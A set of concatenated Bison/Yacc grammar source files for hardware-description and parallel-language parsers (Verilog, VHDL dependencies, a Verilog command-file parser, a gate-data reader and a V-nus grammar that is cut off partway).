{ /* T_IFDEF info0=name, info1=body(N_NULL), info2=else(N_NULL) */
$$ = $1; SetType($$,N_IFDEF_MODULE); SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($3);
}
;
include_part
: T_INCLUDE T_SENTENCE
{ /* T_INCLUDE info0=name */
$$ = $1; SetType($$,N_INCLUDE_DIRECTIVE); SetInfo0($$,$2);
}
;
celldefine_part
: T_CELLDEFINE
{ /* T_CELLDEFINE */
$$ = $1;
}
;
endcelldefine_part
: T_ENDCELLDEFINE
{ /* T_ENDCELLDEFINE */
$$ = $1;
}
;
%%
void fprintfError(char *s, int line) // (unuse yylexlinenum for line number)
{
ParseError = True;
fprintf(stderr, "ERROR: in line %d, %s\n", line, s);
}
void yyerror(char *s)
{
ParseError = True;
if (*s == '$')
fprintf(stderr, "ERROR: in line %d, %s\n", yylexlinenum, s + 1);
else
fprintf(stderr, "ERROR: parse error in line %d\n", yylexlinenum);
return;
}
// end of file
|
%skeleton "lalr1.cc" /* -*- C++ -*- */
%defines
%define parser_class_name {dependency_parser}
%define api.token.constructor
%define api.value.type variant
%define parse.assert
%define api.prefix {yydep};
%code requires
{
class dependency_driver;
}
// The parsing context.
%param { dependency_driver& driver }
%locations
%initial-action
{
// Initialize the initial location.
@$.begin.filename = @$.end.filename = &driver.file;
};
%define parse.trace
%define parse.error verbose
%code
{
#include "vhdl_dependencies/dependency_parser_driver.h"
extern int yylineno;
}
%define api.token.prefix {TOK_}
%token
END 0 "end of file"
//reserved words as defined in 13.9
T_LIBRARY "library"
T_USE "use"
T_SEMICOLON ";"
;
%token <std::string> IDENTIFIER "identifier"
%printer { yyoutput << $$; } <*>;
%%
%start unit;
//This is the starting point when parsing a file
//Create a TOP node to which file content is added as child nodes
unit:
{
}
file_content
{
}
file_content: %empty
| design_unit ..design_unit..
design_unit:
context_clause library_unit
library_unit:
..skipped_code..
context_clause:
..context_item..
library_content:
"identifier"
use_content:
"identifier"
skipped_code:
"identifier"
//these are the ones we're interested in
context_item:
library_clause
| use_clause
library_clause:
"library" library_content ..comma_library_content.. ";"
use_clause:
"use" use_content ..comma_use_content.. ";"
//Following rules are for 0 or 1 occurences ( .rule. )
//Following rules are for 0 or more occurences ( .. rule .. )
..design_unit..: %empty
| design_unit ..design_unit..
..comma_library_content..: %empty
| "," library_content ..comma_library_content..
..comma_use_content..: %empty
| "," use_content ..comma_use_content..
..context_item..: %empty
| context_item ..context_item..
..skipped_code..: %empty
| skipped_code ..skipped_code.. ";"
%%
void yydep::dependency_parser::error ( const location_type& l,
const std::string& m )
{
driver.error (l, m, yylineno);
}
|
<filename>tool/SecVerilog-1.0/SecVerilog/driver/cfparse.y
%{
/*
* Copyright (c) 2001-2010 <NAME> (<EMAIL>)
*
* This source code is free software; you can redistribute it
* and/or modify it in source code form under the terms of the GNU
* General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
*/
# include "globals.h"
# include "cfparse_misc.h"
# include <ctype.h>
# include <stdlib.h>
# include <stdio.h>
# include <string.h>
/*
* This flag is set to 0, 1 or 2 if file names are to be translated to
* uppercase(1) or lowercase(2).
*/
static int setcase_filename_flag = 0;
static void translate_file_name(char*text)
{
switch (setcase_filename_flag) {
case 0:
break;
case 1:
while (*text) {
*text = toupper((int)*text);
text += 1;
}
break;
case 2:
while (*text) {
*text = tolower((int)*text);
text += 1;
}
break;
}
}
%}
%union {
char*text;
};
%token TOK_Da TOK_Dc TOK_Dv TOK_Dy
%token TOK_DEFINE TOK_INCDIR TOK_INTEGER_WIDTH TOK_LIBDIR TOK_LIBDIR_NOCASE
%token TOK_LIBEXT TOK_TIMESCALE
%token <text> TOK_PLUSARG TOK_PLUSWORD TOK_STRING
%%
start
:
| item_list
;
item_list
: item_list item
| item
;
item
/* Absent any other matching, a token string is taken to be the name
of a source file. Add the file to the file list. */
: TOK_STRING
{ char*tmp = substitutions($1);
translate_file_name(tmp);
process_file_name(tmp, 0);
free($1);
free(tmp);
}
/* The -a flag is completely ignored. */
| TOK_Da { }
/* Match a -c <cmdfile> or -f <cmdfile> */
| TOK_Dc TOK_STRING
{ char*tmp = substitutions($2);
translate_file_name(tmp);
switch_to_command_file(tmp);
free($2);
free(tmp);
}
/* The -v <libfile> flag is ignored, and the <libfile> is processed
as an ordinary source file. */
| TOK_Dv TOK_STRING
{ char*tmp = substitutions($2);
translate_file_name(tmp);
process_file_name(tmp, 1);
free($2);
free(tmp);
}
/* This rule matches "-y <path>" sequences. This does the same thing
as -y on the command line, so add the path to the library
directory list. */
| TOK_Dy TOK_STRING
{ char*tmp = substitutions($2);
process_library_switch(tmp);
free($2);
free(tmp);
}
| TOK_LIBDIR TOK_PLUSARG
{ char*tmp = substitutions($2);
process_library_switch(tmp);
free($2);
free(tmp);
}
| TOK_LIBDIR_NOCASE TOK_PLUSARG
{ char*tmp = substitutions($2);
process_library_nocase_switch(tmp);
free($2);
free(tmp);
}
| TOK_TIMESCALE TOK_PLUSARG
{ char*tmp = substitutions($2);
process_timescale(tmp);
free($2);
free(tmp);
}
| TOK_DEFINE TOK_PLUSARG
{ process_define($2);
free($2);
}
/* The +incdir token introduces a list of +<path> arguments that are
the include directories to search. */
| TOK_INCDIR inc_args
/* The +libext token introduces a list of +<ext> arguments that
become individual -Y flags to ivl. */
| TOK_LIBEXT libext_args
/* These are various misc flags that are supported. */
| TOK_INTEGER_WIDTH TOK_PLUSARG
{ char*tmp = substitutions($2);
free($2);
integer_width = strtoul(tmp,0,10);
free(tmp);
}
/* The +<word> tokens that are not otherwise matched, are
ignored. The skip_args rule arranges for all the argument words
to be consumed. */
| TOK_PLUSWORD skip_args
{ fprintf(stderr, "%s:%u: Ignoring %s\n",
@1.text, @1.first_line, $1);
free($1);
}
| TOK_PLUSWORD
{ if (strcmp($1, "+toupper-filenames") == 0) {
setcase_filename_flag = 1;
} else if (strcmp($1, "+tolower-filenames") == 0) {
setcase_filename_flag = 2;
} else {
fprintf(stderr, "%s:%u: Ignoring %s\n",
@1.text, @1.first_line, $1);
}
free($1);
}
| error
{ fprintf(stderr, "Error: unable to parse line %d in "
"%s.\n", cflloc.first_line, current_file);
return 1;
}
;
/* inc_args are +incdir+ arguments in order. */
inc_args
: inc_args inc_arg
| inc_arg
;
inc_arg : TOK_PLUSARG
{ char*tmp = substitutions($1);
process_include_dir(tmp);
free($1);
free(tmp);
}
;
/* inc_args are +incdir+ arguments in order. */
libext_args
: libext_args libext_arg
| libext_arg
;
libext_arg : TOK_PLUSARG
{ process_library2_switch($1);
free($1);
}
;
/* skip_args are arguments to a +word flag that is not otherwise
parsed. This rule matches them and releases the strings, so that
they can be safely ignored. */
skip_args
: skip_args skip_arg
| skip_arg
;
skip_arg : TOK_PLUSARG
{ free($1);
}
;
%%
int yyerror(const char*msg)
{
return 0;
}
|
<reponame>MyersResearchGroup/ATACS
%{
/*
This file generates a grammar for the reading of
gate building data.
Author: <NAME>
School: University of Utah
Date: 1/12/07
*/
#include <stdio.h>
#include "gateConstruction.c"
#include "biostructure.h"
#include <map>
#include <iostream>
using namespace std;
int yyerror(char*);
void parseGateFile(hash_map<gate_data> *gate_builds);
void loadGateFile(char*);
void copyName(char*);
string stripQuote(char* to_strip);
char current_name[MAX_LENGTH];
int num_gates = 0;
hash_map<gate_data>* all_gates;
vector<vector<int> > builds;
//Needed for Bison 2.2
#ifdef OSX
//extern char yytext[];
#endif
%}
%token COMMA GATE LATCH LEFT_BRACE LEFT_CURLY NUMBER RIGHT_BRACE RIGHT_CURLY TEXT UNKNOWN_TOKEN;
/*
* Grammar Rules
* For the construct rules, each number represents:
* #act, #rep, #compAct, #compRep, #actAct, #repRep, #actRep
*/
%%
line: line one_gate | line one_latch | ;
one_gate: GATE TEXT {copyName(yytext); } LEFT_CURLY {builds.clear();} gates RIGHT_CURLY {
string temp = stripQuote(current_name);
gate_data new_gate = gate_data(temp.c_str(), builds);
(*all_gates).put(temp, new_gate);
num_gates++;
};
one_latch: LATCH TEXT {copyName(yytext); } LEFT_CURLY {builds.clear();} gates RIGHT_CURLY {
string temp = stripQuote(current_name);
gate_data new_gate = gate_data(temp.c_str(), builds);
(*all_gates).put(temp, new_gate);
num_gates++;
};
gates: construct | construct gates;
construct: LEFT_BRACE NUMBER COMMA NUMBER COMMA NUMBER COMMA NUMBER COMMA NUMBER COMMA NUMBER COMMA NUMBER RIGHT_BRACE {
{
vector<int>gate_build;
gate_build.push_back($2); gate_build.push_back($4); gate_build.push_back($6); gate_build.push_back($8); gate_build.push_back($10);
gate_build.push_back($12); gate_build.push_back($14);
builds.push_back(gate_build);
}
};
%%
extern FILE *yyin;
//Keep a copy of the name around for later use.
void copyName(char* name) {
strcpy(current_name, name);
}
string stripQuote(char* to_strip) {
string temp = string(to_strip);
unsigned int size = temp.length();
return temp.substr(1, size-2);
}
void loadGateFile(char* filename) {
yyin = fopen(filename, "r");
}
void parseGateFile(hash_map<gate_data> *gate_builds) {
all_gates = gate_builds;
do {
yyparse();
}
while (!feof(yyin));
printf("\n");
}
int yyerror(char* s)
{
fprintf(stderr, "%s\n",s);
return -1;
}
|
/* File: parser.y */
%{
#include <stdlib.h>
#include <stdio.h>
#include <tmc.h>
#include <assert.h>
#include "defs.h"
#include "vnus_types.h"
#include "tmadmin.h"
#include "error.h"
#include "lex.h"
#include "parser.h"
#include "check.h"
#include "global.h"
#include "symbol_table.h"
#include "prettyprint.h"
/* Always allow parse trace, since it is switchable from the
* command line.
*/
#define YYDEBUG 1
static vnusprog result;
/* The required error handler for yacc. */
static void yyerror( const char *s )
{
if( strcmp( s, "parse error" ) == 0 ){
parserror( "syntax error" );
}
else {
parserror( s );
}
}
/* Return an empty statement block. */
static block empty_block( void )
{
return new_block(
tmsymbolNIL,
new_declaration_list(),
new_statement_list()
);
}
/* Given a declaration, and a list of pragmas, return a new declaration
* that contains the pragmas.
*/
static declaration add_declaration_pragmas( declaration d, pragma_list pl )
{
switch( d->tag ){
case TAGDeclFunction:
to_DeclFunction(d)->pragmas = concat_pragma_list(
to_DeclFunction(d)->pragmas,
pl
);
break;
case TAGDeclProcedure:
to_DeclProcedure(d)->pragmas = concat_pragma_list( to_DeclProcedure(d)->pragmas, pl );
break;
case TAGDeclVariable:
to_DeclVariable(d)->pragmas = concat_pragma_list( to_DeclVariable(d)->pragmas, pl );
break;
case TAGDeclExternalFunction:
to_DeclExternalFunction(d)->pragmas = concat_pragma_list( to_DeclExternalFunction(d)->pragmas, pl );
break;
case TAGDeclExternalProcedure:
to_DeclExternalProcedure(d)->pragmas = concat_pragma_list( to_DeclExternalProcedure(d)->pragmas, pl );
break;
case TAGDeclExternalVariable:
to_DeclExternalVariable(d)->pragmas = concat_pragma_list( to_DeclExternalVariable(d)->pragmas, pl );
break;
}
return d;
}
%}
%union {
unsigned int _unsigned;
BASETYPE _basetype;
origsymbol _orig_identifier;
tmsymbol _identifier;
size _size;
size_list _sizelist;
formalParameter _parm;
formalParameter_list _parmList;
tmstring _vnus_int;
tmstring _vnus_byte;
tmstring _vnus_short;
tmstring _vnus_long;
tmstring _vnus_char;
tmstring _vnus_float;
tmstring _vnus_double;
tmstring _vnus_string;
tmstring _string;
expression _expression;
origin _origin;
optexpression _optexpression;
expression_list _expressionList;
cardinality _cardinality;
cardinality_list _cardinalitylist;
BINOP _binop;
UNOP _unop;
type _type;
statement _statement;
switchCase _switchCase;
switchCase_list _switchCaseList;
statement_list _statementList;
field _field;
field_list _fieldList;
type_list _typeList;
block _block;
declaration_list _declarationList;
declaration _declaration;
pragma _pragma;
pragma_list _pragmaList;
distribution _distribution;
distribution_list _distributionlist;
}
%start V_nus
/* The typed tokens first. */
%token <_identifier> IDENTIFIER
%token <_vnus_byte> BYTE_LITERAL
%token <_vnus_char> CHAR_LITERAL
%token <_vnus_double> DOUBLE_LITERAL
%token <_vnus_float> FLOAT_LITERAL
%token <_vnus_int> INT_LITERAL
%token <_vnus_long> LONG_LITERAL
%token <_vnus_short> SHORT_LITERAL
%token <_vnus_string> STRING_LITERAL
%token <_identifier> IDENTIFIER
%token KEY_AND
%token KEY_BARRIER
%token KEY_BLOCK
%token KEY_BLOCKRECEIVE
%token KEY_BLOCKSEND
%token KEY_BOOLEAN
%token KEY_BYTE
%token KEY_CHAR
%token KEY_COMPLEX
%token KEY_CYCLIC
%token KEY_DEFAULT
%token KEY_DELETE
%token KEY_DOUBLE
%token KEY_EACH
%token KEY_ELSE
%token KEY_EXTERNAL
%token KEY_FALSE
%token KEY_FITROOM
%token KEY_FLOAT
%token KEY_FOR
%token KEY_FORALL
%token KEY_FOREACH
%token KEY_FORKALL
%token KEY_FUNCTION
%token KEY_GARBAGECOLLECT
%token KEY_GETBLOCKSIZE
%token KEY_GETROOM
%token KEY_GETSIZE
%token KEY_GLOBALPRAGMAS
%token KEY_GOTO
%token KEY_IF
%token KEY_INT
%token KEY_ISMULTIDIM
%token KEY_ISOWNER
%token KEY_LONG
%token KEY_MOD
%token KEY_NEW
%token KEY_NOT
%token KEY_NULL
%token KEY_OF
%token KEY_OR
%token KEY_OWNER
%token KEY_POINTER
%token KEY_PRINT
%token KEY_PRINTLN
%token KEY_PROCEDURE
%token KEY_RECEIVE
%token KEY_RECORD
%token KEY_RETURN
%token KEY_RETURNS
%token KEY_SEND
%token KEY_SENDER
%token KEY_SETROOM
%token KEY_SETSIZE
%token KEY_SHAPE
%token KEY_SHORT
%token KEY_STRING
%token KEY_SWITCH
%token KEY_TO
%token KEY_TRUE
%token KEY_VIEW
%token KEY_WHILE
%token KEY_XOR
%token OP_ASSIGNMENT
%token OP_DIVIDE
%token OP_EQUAL
%token OP_GREATER
%token OP_GREATEREQUAL
%token OP_LABEL
%token OP_LESS
%token OP_LESSEQUAL
%token OP_MINUS
%token OP_NOTEQUAL
%token OP_PLUS
%token OP_PRAGMAEND
%token OP_PRAGMASTART
%token OP_SHIFTLEFT
%token OP_SHIFTRIGHT
%token OP_TIMES
%token OP_USHIFTRIGHT
/* Precedence of infix and prefix operators. */
%left '?' ':'
%left KEY_OR KEY_AND KEY_XOR
%left OP_LESS OP_LESSEQUAL OP_GREATER OP_GREATEREQUAL OP_EQUAL OP_NOTEQUAL
%left OP_SHIFTLEFT OP_SHIFTRIGHT OP_USHIFTRIGHT
%left OP_PLUS OP_MINUS
%left OP_TIMES OP_DIVIDE KEY_MOD
%left OP_UNOP
%left '[' '.' '('
/* use sort -b +2 */
%type <_declaration> actual_declaration
%type <_statement> assignment
%type <_statement> barrier
%type <_basetype> baseType
%type <_block> block
%type <_origin> origin
%type <_statement> blockreceive
%type <_statement> blocksend
%type <_cardinalitylist> cardinalities
%type <_cardinality> cardinality
%type <_cardinalitylist> cardinalitylist
%type <_statement> communication
%type <_statement> control
%type <_declaration> declaration
%type <_declarationList> declarationList
%type <_statement> delete
%type <_distribution> distribution
%type <_distributionlist> distributionlist
%type <_distributionlist> distributions
%type <_statement> each
%type <_statement> empty_statement
%type <_expression> expression
%type <_expression> expression
%type <_expressionList> expressionList
%type <_expressionList> expressions
%type <_declaration> external_function
%type <_declaration> external_procedure
%type <_declaration> external_variable
%type <_field> field
%type <_fieldList> fieldList
%type <_statement> fitRoom
%type <_statement> forall
%type <_statement> foreach
%type <_statement> forkall
%type <_parm> formalParameter
%type <_parmList> formalParameterlist
%type <_parmList> formalParameters
%type <_declaration> function
%type <_statement> garbageCollect
%type <_statement> goto
%type <_statement> if
%type <_statement> imperative
%type <_optexpression> initialization
%type <_statement> iteration
%type <_orig_identifier> labelName
%type <_statement> memoryManagement
%type <_pragmaList> opt_globalpragmas
%type <_pragmaList> opt_pragmas
%type <_orig_identifier> orig_identifier
%type <_statement> parallelization
%type <_pragma> pragma
%type <_expression> pragmaExpression
%type <_pragmaList> pragmaList
%type <_pragmaList> pragmas
%type <_statement> print
%type <_statement> println
%type <_declaration> procedure
%type <_statement> procedurecall
%type <_statement> receive
%type <_statement> return
%type <_expression> selector
%type <_expressionList> selectorlist
%type <_expressionList> selectors
%type <_statement> send
%type <_statement> setRoom
%type <_statement> setSize
%type <_size> size
%type <_sizelist> sizelist
%type <_sizelist> sizes
%type <_statement> statement
%type <_statementList> statementList
%type <_statement> statementblock
%type <_statement> support
%type <_statement> switch
%type <_switchCase> switchCase
%type <_switchCaseList> switchCaseList
%type <_type> type
%type <_typeList> typeList
%type <_unop> unary_operator
%type <_statement> unlabeledStatement
%type <_statement> valueReturn
%type <_declaration> variable
%type <_statement> while
%%
V_nus:
opt_globalpragmas declarationList statementList
{ result = new_vnusprog( $1, $2, $3, new_vnusdeclaration_list() ); }
|
opt_globalpragmas statementList
{ result = new_vnusprog( $1, new_declaration_list(), $2, new_vnusdeclaration_list() ); }
;
opt_comma:
/* empty */
|
','
;
statement_terminator:
';'
;
declarationList:
declaration
{ $$ = append_declaration_list( new_declaration_list(), $1 ); }
|
declarationList declaration
{ $$ = append_declaration_list( $1, $2 ); }
|
error statement_terminator declaration
{ $$ = append_declaration_list( new_declaration_list(), $3 ); }
;
actual_declaration:
external_function
{ $$ = $1; }
|
function
{ $$ = $1; }
|
external_procedure
{ $$ = $1; }
|
procedure
{ $$ = $1; }
|
external_variable
{ $$ = $1; }
|
variable
{ $$ = $1; }
;
declaration:
opt_pragmas actual_declaration
{ $$ = add_declaration_pragmas( $2, $1 ); }
;
external_function:
KEY_EXTERNAL KEY_FUNCTION orig_identifier formalParameters KEY_RETURNS opt_pragmas orig_identifier ':' type statement_terminator
{
$$ = new_DeclExternalFunction(
new_pragma_list(),
make_origin(),
$3,
$4,
$6,
$7,
$9
);
}
|
KEY_EXTERNAL KEY_FUNCTION orig_identifier formalParameters KEY_RETURNS opt_pragmas type statement_terminator
{
$$ = new_DeclExternalFunction(
new_pragma_list(),
make_origin(),
$3,
$4,
$6,
origsymbolNIL,
$7
);
}
;
external_procedure:
KEY_EXTERNAL KEY_PROCEDURE orig_identifier formalParameters statement_terminator
{
$$ = new_DeclExternalProcedure(
new_pragma_list(),
make_origin(),
$3,
$4
);
}
;
external_variable:
KEY_EXTERNAL orig_identifier ':' type statement_terminator
{ $$ = new_DeclExternalVariable( new_pragma_list(), make_origin(), $2, $4 ); }
;
function:
KEY_FUNCTION orig_identifier formalParameters KEY_RETURNS orig_identifier ':' opt_pragmas type block
{
if( $9->scope == 0 ){
$9->scope = rdup_tmsymbol( $2->sym );
}
$$ = new_DeclFunction(
new_pragma_list(),
make_origin(),
$2,
$3,
$5,
$7,
$8,
$9
);
}
;
procedure:
KEY_PROCEDURE orig_identifier formalParameters block
{
if( $4->scope == 0 ){
$4->scope = rdup_tmsymbol( $2->sym );
}
$$ = new_DeclProcedure(
new_pragma_list(),
make_origin(),
$2,
$3,
$4
);
}
;
initialization:
/* empty */
{ $$ = new_OptExprNone(); }
|
OP_EQUAL expression
{ $$ = new_OptExpr( $2 ); }
;
variable:
orig_identifier ':' type initialization statement_terminator
{ $$ = new_DeclVariable( new_pragma_list(), make_origin(), $1, $3, $4 ); }
;
distribution:
KEY_BLOCK
{ $$ = new_DistBlock(); }
|
KEY_CYCLIC
{ $$ = new_DistCyclic(); }
|
KEY_BLOCK expression
{ $$ = new_DistBC( $2 ); }
|
OP_PLUS
{ $$ = new_DistReplicated(); }
|
OP_TIMES
{ $$ = new_DistDontcare(); }
|
OP_MINUS
{ $$ = new_DistCollapsed(); }
;
distributionlist:
/* empty */
{ $$ = new_distribution_list(); }
|
distribution
{ $$ = append_distribution_list( new_distribution_list(), $1 ); }
|
distributionlist ',' distribution
{ $$ = append_distribution_list( $$, $3 ); }
|
error ',' distribution
{ $$ = append_distribution_list( new_distribution_list(), $3 ); }
;
distributions:
/* empty. */
{ $$ = distribution_listNIL; }
|
'[' distributionlist ']'
{ $$ = $2; }
;
type:
baseType
{ $$ = new_TypeBase( $1 ); }
|
KEY_VIEW INT_LITERAL KEY_OF type
{
$$ = new_TypeView( atoi( $2 ), $4 );
rfre_tmstring( $2 );
}
|
KEY_VIEW INT_LITERAL type
{
parserror( "keyword \"of\" missing" );
$$ = new_TypeView( atoi( $2 ), $3 );
rfre_tmstring( $2 );
}
|
KEY_SHAPE sizes distributions KEY_OF type
{ $$ = new_TypeShape( $2, $3, $5 ); }
|
KEY_SHAPE sizes distributions
{
parserror( "you must specify an element type" );
$$ = new_TypeShape( $2, $3, typeNIL );
}
|
KEY_SHAPE sizes distributions type
{
parserror( "keyword \"of\" missing" );
$$ = new_TypeShape( $2, $3, $4 );
}
|
KEY_RECORD '[' fieldList ']'
{ $$ = new_TypeRecord( $3 ); }
|
KEY_POINTER type
{
parserror( "keyword \"to\" missing" );
$$ = new_TypePointer( $2 );
}
|
KEY_POINTER KEY_TO type
{ $$ = new_TypePointer( $3 ); }
|
KEY_PROCEDURE '(' typeList ')'
{ $$ = new_TypeProcedure( $3 ); }
|
KEY_FUNCTION '(' typeList ')' KEY_RETURNS type
{ $$ = new_TypeFunction( $3, $6 ); }
;
typeList:
/* empty */
{ $$ = new_type_list(); }
|
type
{ $$ = append_type_list( new_type_list(), $1 ); }
|
typeList ',' type
{ $$ = append_type_list( $$, $3 ); }
|
error ',' type
{ $$ = append_type_list( new_type_list(), $3 ); }
;
fieldList:
/* empty */
{ $$ = new_field_list(); }
|
field
{ $$ = append_field_list( new_field_list(), $1 ); }
|
fieldList ',' field
{ $$ = append_field_list( $$, $3 ); }
|
error ',' field
{ $$ = append_field_list( new_field_list(), $3 ); }
;
field:
orig_identifier ':' type
{ $$ = new_field( $1, $3 ); }
;
sizes:
'[' sizelist opt_comma ']'
{ $$ = $2; }
|
'[' error ']'
{ $$ = new_size_list(); }
;
sizelist:
/* empty */
{ $$ = new_size_list(); }
|
size
{ $$ = append_size_list( new_size_list(), $1 ); }
|
sizelist ',' size
{ $$ = append_size_list( $$, $3 ); }
|
error ',' size
{ $$ = append_size_list( new_size_list(), $3 ); }
;
size:
OP_TIMES
{ $$ = new_SizeDontcare( make_origin() ); }
|
expression
{ $$ = new_SizeExpression( $1 ); }
;
baseType:
KEY_STRING
{ $$ = BT_STRING; }
|
KEY_BOOLEAN
{ $$ = BT_BOOLEAN; }
|
KEY_INT
{ $$ = BT_INT; }
|
KEY_LONG
{ $$ = BT_LONG; }
|
KEY_SHORT
{ $$ = BT_SHORT; }
|
KEY_BYTE
{ $$ = BT_BYTE; }
|
KEY_CHAR
{ $$ = BT_CHAR; }
|
KEY_DOUBLE
{ $$ = BT_DOUBLE; }
|
KEY_FLOAT
{ $$ = BT_FLOAT; }
|
KEY_COMPLEX
{ $$ = BT_COMPLEX; }
;
formalParameters:
'(' formalParameterlist opt_comma ')'
{ $$ = $2; }
|
'(' error ')'
{ $$ = new_formalParameter_list(); }
;
formalParameterlist:
/* empty */
{ $$ = new_formalParameter_list(); }
|
formalParameter
{ $$ = append_formalParameter_list( new_formalParameter_list(), $1 ); }
|
formalParameterlist ',' formalParameter
{ $$ = append_formalParameter_list( $1, $3 ); }
|
error ',' formalParameter
{ $$ = append_formalParameter_list( new_formalParameter_list(), $3 ); }
;
formalParameter:
orig_identifier
{
parserror( "parameter type missing" );
$$ = new_formalParameter( $1, new_pragma_list(), new_TypeBase( BT_INT ) );
}
|
orig_identifier ':' opt_pragmas type
{ $$ = new_formalParameter( $1, $3, $4 ); }
;
block:
'{' declarationList statementList '}'
{ $$ = new_block( tmsymbolNIL, $2, $3 ); }
|
'{' statementList '}'
{ $$ = new_block( tmsymbolNIL, new_declaration_list(), $2 ); }
|
'{' declarationList '}'
{ $$ = new_block( tmsymbolNIL, $2, new_statement_list() ); }
|
'{' '}'
{ $$ = new_block( tmsymbolNIL, new_declaration_list(), new_statement_list() ); }
;
statementList:
statement
{ $$ = append_statement_list( new_statement_list(), $1 ); }
|
statementList statement
{ $$ = append_statement_list( $1, $2 ); }
|
error statement_terminator statement
{ $$ = append_statement_list( new_statement_list(), $3 ); }
;
pragma:
orig_identifier
{ $$ = new_PragmaFlag( $1 ); }
|
orig_identifier OP_EQUAL expression
{ $$ = new_PragmaExpression( $1, $3 ); }
;
pragmaList:
/* empty */
{ $$ = new_pragma_list(); }
|
pragma
{ $$ = append_pragma_list( new_pragma_list(), $1 ); }
|
pragmaList ',' pragma
{ $$ = append_pragma_list( $1, $3 ); }
;
pragmas:
OP_PRAGMASTART pragmaList OP_PRAGMAEND
{ $$ = $2; }
|
error OP_PRAGMAEND
{ $$ = new_pragma_list(); }
;
opt_globalpragmas:
/* empty */
{ $$ = new_pragma_list(); }
|
KEY_GLOBALPRAGMAS pragmas statement_terminator
{ $$ = $2; }
;
opt_pragmas:
/* empty */
{ $$ = new_pragma_list(); }
|
pragmas
{ $$ = $1; }
;
origin:
/* empty */
{ $$ = make_origin(); }
;
labelName:
orig_identifier
{ $$ = $1; }
;
statement:
opt_pragmas labelName OP_LABEL unlabeledStatement
{
$$ = $4;
$$->label = $2;
$$->pragmas = $1;
}
|
opt_pragmas unlabeledStatement
{
$$ = $2;
$$->pragmas = $1;
}
;
unlabeledStatement:
imperative
{ $$ = $1; }
|
control
{ $$ = $1; }
|
parallelization
{ $$ = $1; }
|
communication
{ $$ = $1; }
|
memoryManagement
{ $$ = $1; }
|
support
{ $$ = $1; }
;
/* Imperative */
imperative:
assignment
{ $$ = $1; }
|
procedurecall
{ $$ = $1; }
|
setSize
{ $$ = $1; }
|
setRoom
{ $$ = $1; }
|
fitRoom
{ $$ = $1; }
;
assignment:
expression OP_ASSIGNMENT origin expression statement_terminator
{ $$ = new_AssignStatement( origsymbolNIL, $3, pragma_listNIL, $1, $4 ); }
;
procedurecall:
expression origin statement_terminator
{
if( $1->tag == TAGExprFunctionCall ){
ExprFunctionCall call = to_ExprFunctionCall( $1 );
$$ = new_ProcedureCallStatement(
origsymbolNIL,
$2,
pragma_listNIL,
rdup_expression( call->function ),
rdup_expression_list( call->parameters )
);
rfre_expression( call );
}
else {
parserror( "expression has no effect" );
}
}
;
/*
procedurecall:
expression origin expressions statement_terminator
{ $$ = new_ProcedureCallStatement( origsymbolNIL, $2, pragma_listNIL, $1, $3 ); }
;
*/
setSize:
KEY_SETSIZE origin '(' expression ',' sizes ')' statement_terminator
{ $$ = new_SetSizeStatement( origsymbolNIL, $2, pragma_listNIL, $4, $6 ); }
;
setRoom:
KEY_SETROOM origin '(' expression ',' expression ')' statement_terminator
{ $$ = new_SetRoomStatement( origsymbolNIL, $2, pragma_listNIL, $4, $6 ); }
;
fitRoom:
KEY_FITROOM origin '(' expression ')' statement_terminator
{ $$ = new_FitRoomStatement( origsymbolNIL, $2, pragma_listNIL, $4 ); }
;
/* Support */
support:
empty_statement
{ $$ = $1; }
|
print
{ $$ = $1; }
|
println
{ $$ = $1; }
;
empty_statement:
origin statement_terminator
{ $$ = new_EmptyStatement( origsymbolNIL, $1, pragma_listNIL ); }
;
print:
KEY_PRINT origin expressions statement_terminator
{ $$ = new_PrintStatement( origsymbolNIL, $2, pragma_listNIL, $3 ); }
;
println:
KEY_PRINTLN origin expressions statement_terminator
{ $$ = new_PrintLineStatement( origsymbolNIL, $2, pragma_listNIL, $3 ); }
;
/* Control */
control:
while
{ $$ = $1; }
|
iteration
{ $$ = $1; }
|
if
{ $$ = $1; }
|
switch
{ $$ = $1; }
|
return
{ $$ = $1; }
|
goto
{ $$ = $1; }
|
valueReturn
{ $$ = $1; }
|
statementblock
{ $$ = $1; }
;
while:
KEY_WHILE origin expression block
{ $$ = new_WhileStatement( origsymbolNIL, $2, pragma_listNIL, $3, $4 ); }
;
iteration:
KEY_FOR origin cardinalities block
{ $$ = new_ForStatement( origsymbolNIL, $2, pragma_listNIL, $3, $4 ); }
;
if:
KEY_IF origin expression block KEY_ELSE block
{ $$ = new_IfStatement( origsymbolNIL, $2, pragma_listNIL, $3, $4, $6 ); }
|
KEY_IF origin expression block
{ $$ = new_IfStatement( origsymbolNIL, $2, pragma_listNIL, $3, $4, empty_block() ); }
;
switch:
KEY_SWITCH origin expression '{' switchCaseList '}'
{ $$ = new_SwitchStatement( origsymbolNIL, $2, pragma_listNIL, $3, $5 ); }
;
return:
KEY_RETURN origin statement_terminator
{ $$ = new_ReturnStatement( origsymbolNIL, $2, pragma_listNIL ); }
;
valueReturn:
KEY_RETURN origin expression statement_terminator
{ $$ = new_ValueReturnStatement( origsymbolNIL, $2, pragma_listNIL, $3 ); }
;
goto:
KEY_GOTO origin labelName statement_terminator
{ $$ = new_GotoStatement( origsymbolNIL, $2, pragma_listNIL, $3 ); }
;
switchCaseList:
/* empty */
{ $$ = new_switchCase_list(); }
|
switchCaseList switchCase
{ $$ = append_switchCase_list( $1, $2 ); }
;
switchCase:
INT_LITERAL ':' block
{ $$ = new_SwitchCaseValue( $3, $1 ); }
|
KEY_DEFAULT ':' block
{ $$ = new_SwitchCaseDefault( $3 ); }
;
statementblock:
origin block
{ $$ = new_BlockStatement( origsymbolNIL, $1, pragma_listNIL, $2 ); }
;
/* parallelization */
parallelization:
forkall
{ $$ = $1; }
|
forall
{ $$ = $1; }
|
each
{ $$ = $1; }
|
foreach
{ $$ = $1; }
;
forall:
KEY_FORALL origin cardinalities block
{ $$ = new_ForallStatement( origsymbolNIL, $2, pragma_listNIL, $3, $4 ); }
;
forkall:
KEY_FORKALL origin cardinalities block
